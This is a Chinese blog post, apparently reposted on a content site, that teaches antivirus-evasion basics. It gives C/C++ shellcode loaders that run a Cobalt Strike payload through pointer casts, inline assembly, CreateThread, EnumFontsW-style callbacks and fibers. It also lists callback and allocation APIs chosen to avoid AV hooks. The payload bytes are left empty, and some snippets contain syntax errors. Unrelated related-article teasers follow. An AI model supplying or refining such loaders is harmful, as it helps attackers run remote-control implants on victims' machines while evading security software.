免杀笔记 ----> ShellCode Loader !!!

学了那么久的前置知识,终于到了能上线的地方了!!!     

不过这里还没到免杀的部分,距离bypass一众的杀毒软件还有很长的路要走!! 

目录

1.ShellCode

2.ShellCode Loader的概念

3.可读可写可执行

4.ShellCode Loader的类型

1.指针调用

2.汇编调用

3.新建线程调用

4.回调函数

5.纤程加载

1.ShellCode

在学shellcode loader之前,我们得去先了解一下什么是ShellCode

Shellcode 是一段被设计成能够被计算机上的某个程序或系统调用执行的机器码。通常,Shellcode 的目标是利用操作系统或应用程序中的漏洞或弱点,以便于执行特定的任务,比如获取系统权限、执行远程命令、窃取信息等。

如果我们去看一个普通的木马的话(不考虑一些骚操作的执行的话)我们一般都是能看见这样的结构的! 

或者我们直接去CS上也是能直接去生成一段裸的代码的话也是能看见我们的ShellCode的

生成出来的文件就是我们的Shell Code

2.ShellCode Loader的概念

有了ShellCode的知识的铺垫之后,我们就可以去讲我们的ShellCode Loade了

Shellcode loader(Shellcode加载器)是一种软件或代码片段,用于加载和执行Shellcode。它的主要目的是将Shellcode(通常是一段机器码,以二进制形式编写)注入到系统内存中,并使其在计算机上执行。

当然了,一个木马并不是一定需要shellcode loader的!!! 

3.可读可写可执行

我们的ShellCode一定是要一块可读可写可执行的内存,那么我们怎么样才能拿到一块可读可写的内存呢????   那么下面,我们先来介绍一个Windows的API!!!

VirtualAlloc   //虽然这个API被杀的很死

我们去MSDN看看对应这个API的解释

VirtualAlloc 是Windows操作系统中的一个函数,用于在进程的虚拟地址空间中分配内存。它的作用是动态地为程序分配一块指定大小的内存区域,这块内存可以用于存储数据或者执行代码。

LPVOID VirtualAlloc(
  LPVOID lpAddress,
  SIZE_T dwSize,
  DWORD  flAllocationType,
  DWORD  flProtect
);
  • lpAddress: 指定要分配的内存区域的起始地址。如果为 NULL,系统会自动选择一个合适的地址。
  • dwSize: 指定要分配的内存区域的大小(以字节为单位)。
  • flAllocationType: 指定分配类型,如 MEM_COMMIT 表示分配物理存储器并将其初始化为零,MEM_RESERVE 表示为内存区域保留地址空间而不实际分配物理存储器等。
  • flProtect: 指定内存保护属性,如 PAGE_EXECUTE_READWRITE 表示可执行内存并且可读写等。

并且它的返回类型是LPVOID 所以我们就可以用 void* 或者直接PVOID去接受它的返回地址

那么下面我们就来申请一块可读可写可执行的内存

void *p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);

这样,我们的指针p就执行了一块可读可写可执行的内存地址的首地址

4.ShellCode Loader的类型

1.指针调用

首先我们申请一块内存肯定就不说了,然后我们需要将我们的ShellCode复制到这块内存上

  • Memcpy
void* memcpy(void* destination, const void* source, size_t num);

所以我们的代码就可以初见端倪了

void* p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);

memcpy(p, buf, sizeof(buf));

当然了,memcpy是有返回值的,我们还可以写一段代码判断一下是否copy成功

void* p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (memcpy(p, buf, sizeof(buf)))
{
	cout << "Memcpy OK :)" << endl;
}
else
{
	cout << "Memcpy Failed :("<<endl;
}

执行结果如下

然后就是去执行了,怎么执行呢?? 这里我闷给出一种格式

((void(*)())p)();
  • void(*)() 这是一个不返回任何值的函数指针的声明、
  • ((void(*)())p) 这是强制将 p 转换成void(*)()的指针类型
  • 然后((void(*)())p) () 就是函数调用

所以我们的完整的代码就是

	void* p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	if (memcpy(p, buf, sizeof(buf)))
	{
		cout << "Memcpy OK :)" << endl;
	}
	else
	{
		cout << "Memcpy Failed :("<<endl;
	}
	((void(*)())p)();

当我们运行一下的时候,就能看见CS上线了!!!!!(终于上线了)

当然了,这样是绝对不免杀的(如果这免杀就离大谱了)

2.汇编调用

首先声明一下在64位的程序下,是不能直接写汇编的,所以我们一般都是用的32位的Shellcode

然后我们就来看以下代码

	__asm
	{
		lea eax, buf;
		call eax;
	}

这段代码其实就是将BUF的地址给了eax ,然后直接用call 函数去执行 buf 地址的函数(强制改变它的EIP)

但是你会发现这样是不会上线的!!  因为我们的ShellCode 是放在了全局变量初,这块内存可读可写,但是不可执行!!!!  所以我们的代码时没有用的!!! 我们必须通过一行代码来让这块内存RWX

#pragma comment(linker, "/section:.data,RWE")

 所以我们的代码就变成了这样

#include<iostream>
#include<windows.h>
using namespace std;
/* length: 797 bytes */
unsigned char buf[] = ""
#pragma comment(linker, "/section:.data,RWE")
int  main()
{
	__asm
	{
		lea eax, buf;
		call eax;
	}

	return 0;
}

这样,就能上线了!!!

3.新建线程调用

创建线程会在新的线程上下文中执行 shellcode,这意味着 shellcode 的执行环境与主程序的环境是隔离的。如果 shellcode 导致了异常或者崩溃,主程序通常不会受到直接影响,而是会在独立的线程中进行处理。

我们首先来贴一段代码,然后再来对这段代码进行解释

unsigned char buf[] = "shellcode";   
int main()
{
    DWORD dwThreadId; // 线程ID
    HANDLE hThread; // 线程句柄
    void* shellcode = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    CopyMemory(shellcode, buf, sizeof(buf));
    hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)shellcode, NULL, NULL, &dwThreadId);
    WaitForSingleObject(hThread, INFINITE);
    return 0;
}

上面大部分代码我们都是很熟悉的,这里我们要说的一下的就是我们的这个也是被杀的API

  • CreateThread
HANDLE CreateThread(
  LPSECURITY_ATTRIBUTES   lpThreadAttributes,
  SIZE_T                  dwStackSize,
  LPTHREAD_START_ROUTINE  lpStartAddress,
  __drv_aliasesMem LPVOID lpParameter,
  DWORD                   dwCreationFlags,
  LPDWORD                 lpThreadId
);

其中对于各个参数的解释

  • lpThreadAttributes:线程安全属性,通常为 NULL
  • dwStackSize:新线程的栈大小,通常为 0 表示使用默认大小。
  • lpStartAddress:线程函数的地址,即新线程将从这个函数开始执行。
  • lpParameter:传递给线程函数的参数,可以是任意类型的数据。
  • dwCreationFlags:线程创建的标志,通常为 0
  • lpThreadId:输出参数,用于接收新线程的ID。

其中比较重要的就是lpStartAddress,lpThreadId。分别也就对应了我们的两个变量。 其中ID就没什么好说的了,我们来说一下那个线程函数的地址

(LPTHREAD_START_ROUTINE)shellcode 的作用是将 shellcode强制转换为LPTHREAD_START_ROUTINE 类型的函数指针。这样,在调用 CreateThread 函数时,可以将转换后的函数指针作为线程的入口点,使得新线程从 shellcode 函数开始执行。

然后还有一个函数就是

  • WaitForSingleObject()

WaitForSingleObject() 是一个用于等待一个指定的对象(如线程、进程、事件、互斥体等)进入 signaled 状态的函数。

  • hHandle:要等待的对象的句柄(handle)。可以是线程句柄、进程句柄、事件句柄等。
  • dwMilliseconds:等待的超时时间,单位是毫秒。如果设为 INFINITE(-1),表示无限等待,直到对象变为 signaled 状态。

这样,我们就能看懂我们一开始写的代码了

#include<iostream>
#include<windows.h>
using namespace std;
#pragma comment(linker, "/section:.data,RWE")
/* length: 797 bytes */
unsigned char buf[] = "";

int main()
{
	DWORD id;
	HANDLE thread;
	void* p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	memcpy(p, buf, sizeof(buf));
	thread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)p, NULL, NULL, &id);
	WaitForSingleObject(thread, INFINITE);
	return 0;
}

也是能成功上线的!!!!!  

当然了,这也是不免杀的,只是一个loader而已

4.回调函数

还记得以前还没学习免杀的时候,就听过回调函数的大名,但是不知道现在回调函数的效果怎么样了!!   我们先来了解一下什么是回调函数

"回调函数" 是一种在编程中常见的概念,特别是在事件驱动的编程模型中经常用到。它指的是一种函数,通常作为参数传递给另一个函数,并在特定事件发生时由另一个函数调用(即“回调”),以便处理该事件或者进行适当的响应。

听不太懂? 没事,我用人话翻译一下

利用某些系统或应用程序接口(API),将 shellcode 的地址注册为回调函数。当特定条件满足时,系统或应用程序会调用该回调函数,从而间接执行 shellcode。

那么,他和上面的几种运行Shellcode的方式有什么不同呢?? 

隐蔽性强:通过合法的系统接口间接执行 shellcode,可以绕过一些安全检测和监控机制,因为通常系统并不会怀疑合法接口的使用。

对于直接操作内存,现代操作系统和安全软件可能会监视和拦截直接执行 shellcode 的操作,认为这是恶意行为,而通过回调函数,有可能AV并没有Hook这些函数,所以我们就能成功的运行ShellCode !! 

那么我们先来贴一段代码

#include <Windows.h>
unsigned char shellcode[] = "shellcode";
int main() {
    LPVOID address = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT,PAGE_EXECUTE_READWRITE);
    memcpy(address, shellcode, sizeof(shellcode));
    HDC dc = GetDC(NULL);
    EnumFontsW(dc, NULL, (FONTENUMPROCW)address, NULL);
    return 0;
}

前面两段我们非常熟悉,不多说,我们说说后面的部分!

HDC dc = GetDC(NULL);
EnumFontsW(dc, NULL, (FONTENUMPROCW)address, NULL);

首先通过GetDC获取屏幕设备的上下文句柄。

然后通过EnumFontsW这个函数在枚举每一个字体的时候,调用我们的Shellcode这个函数!!

所以就能看得懂我们这一段loader了

int main()
{
	
	void* p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	memcpy(p, buf, sizeof(buf));
	HDC dc = GetDC(NULL);
	EnumFontsW(dc, NULL, (FONTENUMPROCW)p, NULL);

	return 0;
}

 也是成功上线

当然了,回调函数还有很多,我们替换就是了

1. EnumTimeFormatsA()
2. EnumWindows()
3. EnumDesktopWindows()
4. EnumDateFormatsA()
5. EnumChildWindows()
6. EnumThreadWindows()
7. EnumSystemLocalesA()
8. EnumSystemGeoID()
9. EnumSystemLanguageGroupsA()
10. EnumUILanguagesA()
11. EnumSystemCodePagesA()
12. EnumDesktopsW()
13. EnumSystemCodePagesW()

5.纤程加载

这个我在我之前的Blog也说过一下(不过当时我并不懂是什么意思),现在我们可以来看看了

纤程是什么? 纤程是一种用户模式下的执行单元,不同于操作系统内核管理的线程。它由用户代码显式地创建和管理,而不像线程那样由操作系统内核来调度和管理。

我们还是来贴一段上线的代码

int main() {
    UCHAR buf[] = "";
    DWORD oldProtect;
    BOOL ret = VirtualProtect((LPVOID)buf, sizeof buf,
    PAGE_EXECUTE_READWRITE,&oldProtect);
    PVOID mainFiber = ConvertThreadToFiber(NULL);
    PVOID shellcodeFiber = CreateFiber(NULL, (LPFIBER_START_ROUTINE),(char*)buf,NULL);
    SwitchToFiber(shellcodeFiber);
    DeleteFiber(shellcodeFiber);
}

其实前面还是换汤不换药,我们直接来讲一下后面的新代码

    PVOID mainFiber = ConvertThreadToFiber(NULL);
    PVOID shellcodeFiber = CreateFiber(NULL, (LPFIBER_START_ROUTINE),(char*)buf,NULL);
    SwitchToFiber(shellcodeFiber);
    DeleteFiber(shellcodeFiber);
  • ConvertThreadToFiber(NULL)函数将当前线程转换为主纤程。主纤程是在进程初始化时自动创建的纤程,它可以让当前线程参与到纤程的调度中。
  • CreateFiber(NULL, (LPFIBER_START_ROUTINE),(char*)buf,NULL); 函数用于创建一个新的纤程。
  • SwitchToFiber(shellcodeFiber); 函数将当前线程切换到指定的纤程

所以我们就能看懂那一段代码了

#include<iostream>
#include<windows.h>
using namespace std;
#pragma comment(linker, "/section:.data,RWE")
/* length: 797 bytes */
unsigned char buf[] = ""
int main()
{
	void* p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	void* mainfiber = ConvertThreadToFiber(NULL);
	void* shellfiber = CreateFiber(NULL, (LPFIBER_START_ROUTINE)(char *)buf, NULL);
	SwitchToFiber(shellfiber);

	return 0;
}

也是能成功上线的

当然了,Shellcode Loader还有很多的类型,这里只是介绍了一些最简单的Loader ,想免杀的话,你可以最简单的替换一下函数

GlobalAlloc()
CoTaskMemAlloc()
HeapAlloc()
RtlCreateHeap()
AllocADsMem()
ReallocADsMem()

当然了,最简单的换函数肯定是不能过的,接着你可以隐藏导入表(这个我后面找时间更新!!)

当然了,就算隐藏了导入表也是无法完成免杀的,所以怎么免杀 ?? 我们后面来说 !!! 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/774691.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【邀请函】相约CommunityOverCode Asia 2024,共探Flink、Paimon、Celeborn开源新境界!

CommunityOverCode是由Apache软件基金会&#xff08;ASF&#xff09;主办的一系列全球性会议&#xff0c;旨在促进开源技术的发展和社区参与。自1998年以来&#xff0c;ApacheCon一直是这一系列活动的核心&#xff0c;吸引了不同背景和技术层级的参与者&#xff0c;关注于“明天…

C++11 shared_ptr---面试常考

shared_ptr简介 共享对其所指堆内存空间的所有权&#xff0c;当最后⼀个指涉到该对象的shared_ptr不再指向他时&#xff0c;shared_ptr会⾃动析构所指对象如何判断⾃⼰是否指涉到该资源的最后⼀个&#xff1f;《引⽤计数》 shared_ptr构造函数&#xff0c;使引⽤计数析构函数&…

应用了网络变压器的PC网卡连接转换器后不好连网,有掉线现象,但外接路由器无问题,可能是什么原因?

Hqst盈盛&#xff08;华强盛&#xff09;电子导读&#xff1a;今天分享的是应用了网络变压器的PC网卡连接转换器后不好连网&#xff0c;有掉线现象&#xff0c;但外接路由器无问题&#xff0c;可能是什么原因呢&#xff1f;如何解决呢&#xff1f; 首先&#xff0c;我们要了解传…

Java后端开发(十二)-- 未配置 Spring Boot 配置注解处理器

目录 1. 错误表现形式 2. 解决方式 1. 错误表现形式 2. 解决方式 在 Spring Boot 应用程序中,通常使用 @ConfigurationProperties 注解来将配置文件中的属性绑定到 Java 对象中。如果没有配置 Spring Boot 配置注解处理器,那么这些注解将无法自动处理和加载。 …

清空flowable的表定义的相关表

更多ruoyi-nbcio功能请看演示系统 gitee源代码地址 前后端代码&#xff1a; https://gitee.com/nbacheng/ruoyi-nbcio 演示地址&#xff1a;RuoYi-Nbcio后台管理系统 http://218.75.87.38:9666/ 更多nbcio-boot功能请看演示系统 gitee源代码地址 后端代码&#xff1a; h…

qt 如果把像素点数据变成一个图片

1.概要 图像的本质是什么&#xff0c;就是一个个的像素点&#xff0c;对与显示器来说就是一个二维数组。无论多复杂的图片&#xff0c;对于显示器来说就是一个二维数组。 2.代码 #include "widget.h"#include <QApplication> #include <QImage> #incl…

兴业小课堂|什么是法拍房助拍机构?如何挑选靠谱的助拍机构?

随着法拍房市场的不断发展和扩大 使法拍房数量的增加 其交易的复杂性和专业性需求也日益凸显 这促使了专门机构的出现来满足市场需求 法拍房助拍机构存在的原因主要有以下几点&#xff1a; 1.专业知识和经验&#xff1a; 法拍房的交易流程相对复杂&#xff0c;涉及到法律法…

对标 GPT-4o 的开源实时语音多模态模型:Moshi

是由法国的 AI 实验室 Kyutai 推出的实时语音多模态模型&#xff0c;支持听、说、看&#xff0c;最关键的是你现在就可以在浏览器中使用&#xff0c;如果这个链接延迟高&#xff0c;可以试试这个, 无需输入邮箱&#xff0c;点击 Join queue 即可。 简单体验了下&#xff0c;比…

Perplexity: 推出 ProSearch 的新版本

Perplexity 更新了 ProSearch 功能&#xff0c;支持多步推理、高级数学和编程能力&#xff0c;比起快速搜索&#xff0c;提供了更深入、全面的搜索&#xff0c;以及详尽报告和分析。 白嫖用户每 4 个小时可免费使用 5 次&#xff0c;Pro 用户几乎无限制。

ChatGPT:SpringBoot解决跨域问题方法-手动设置请求头

ChatGPT&#xff1a;SpringBoot解决跨域问题方法-手动设置请求头 这里的设置响应头是为了发送请求方还是接收请求方 设置响应头是为了发送请求方。具体来说&#xff0c;添加 Access-Control-Allow-Origin 头部是为了告诉浏览器&#xff0c;哪些域名可以访问资源。当设置为 * 时…

二百四十二、Hive——Hive的动态分区表出现day=__HIVE_DEFAULT_PARTITION__分区

一、目的 Hive的DWD层动态分区表的分区出现day__HIVE_DEFAULT_PARTITION__&#xff0c;有点懵&#xff0c;而且表中数据的day字段也显示__HIVE_DEFAULT_PARTITION__ 1、DWD层动态分区表的分区 __HIVE_DEFAULT_PARTITION__ 2、DWD层分区字段day数据 __HIVE_DEFAULT_PARTITION…

【中项第三版】系统集成项目管理工程师 | 第 4 章 信息系统架构① | 4.1-4.2

前言 第4章对应的内容选择题和案例分析都会进行考查&#xff0c;这一章节属于技术相关的内容&#xff0c;学习要以教材为准。本章分值预计在4-5分。 目录 4.1 架构基础 4.1.1 指导思想 4.1.2 设计原则 4.1.3 建设目标 4.1.4 总体框架 4.2 系统架构 4.2.1 架构定义 4.…

通义灵码入选 2024 世界人工智能大会最高荣誉「镇馆之宝」

7 月 4 日&#xff0c;2024 上海世界人工智能大会正式开幕&#xff0c;并揭晓了今年的「镇馆之宝」名单&#xff0c;通义灵码入选&#xff0c;是首个入围该名单的 AI 编程助手。 镇馆之宝是世界人工智能大会展览的最高荣誉&#xff0c;从科技含量、市场前景、创新性以及社会经济…

pip install包出现哈希错误解决

如图&#xff0c;当遇到此类错误时&#xff0c;多半是连接不稳定导致的校验失败。我们可以在PC端&#xff0c;或Ubuntu通过浏览器下载.whl安装文件&#xff1a;直接复制报错信息中的网址到浏览器即可弹出下载窗口。

Vue3重构案例(使用vue3的语法重构element的button组件)

这篇文章紧接的上一篇文章&#xff0c;上篇文章是对给element的button组件写了一个单元测试&#xff0c;这篇文章是使用vue3的语法进行重构&#xff0c;这里说一下单元测试和重构的联系&#xff0c;当你给组件写了单元测试之后&#xff0c;重构会减少你很多的debug时间&#xf…

Transformer和Mamba强强结合!最新混合架构全面开源,推理速度狂飙8倍

最近发现&#xff0c;将Mamba和Transformer模块混合使用&#xff0c;效果会比单独使用好很多&#xff0c;这是因为该方法结合了Mamba的长序列处理能力和Transformer的建模能力&#xff0c;可以显著提升计算效率和模型性能。 典型案例如大名鼎鼎的Jamba&#xff1a;Jamba利用Tr…

【Unity小知识】UnityEngine.UI程序集丢失的问题

问题表现 先来说一下问题的表现&#xff0c;今天在开发的时候工程突然出现了报错&#xff0c;编辑器提示UnityEngine.UI缺少程序集引用。 问题分析与解决&#xff08;一&#xff09; 既然是程序集缺失&#xff0c;我们首先查看一下工程项目是否引用了程序集。在项目引用中查找一…

自定义流程表单开发优势体现在什么地方?

提质、增效、降本&#xff0c;应该是很多职场办公需要实现的发展目标。那么&#xff0c;应用什么样的软件平台可以实现&#xff1f;低代码技术平台、自定义流程表单开发是目前流行于职场行业中的软件产品&#xff0c;可视化操作界面、够灵活、易维护等优势特点明显&#xff0c;…

java项目总结4

1.正则表达式 用于验证字符串是否满足自己所需要的规则。方法&#xff1a;matches 注意&#xff1a;\在Java中有特殊涵义&#xff0c;是将其它的意思本来化&#xff0c;假设"是用来引用字符串的&#xff0c;但是你如果想要输出它&#xff0c;那是不是就变成了System.out…

气压传感器在自动驾驶汽车还有哪些应用场景

气压传感器在近年来被广泛应用于各种新兴领域&#xff0c;以下是其中几个最新的应用&#xff1a; 1、自动驾驶汽车&#xff1a;自动驾驶汽车需要精确的气压传感器来监测道路上的气压变化&#xff0c;帮助车辆进行准确的定位和导航。气压传感器可以提供高精度、可靠的气压数据&…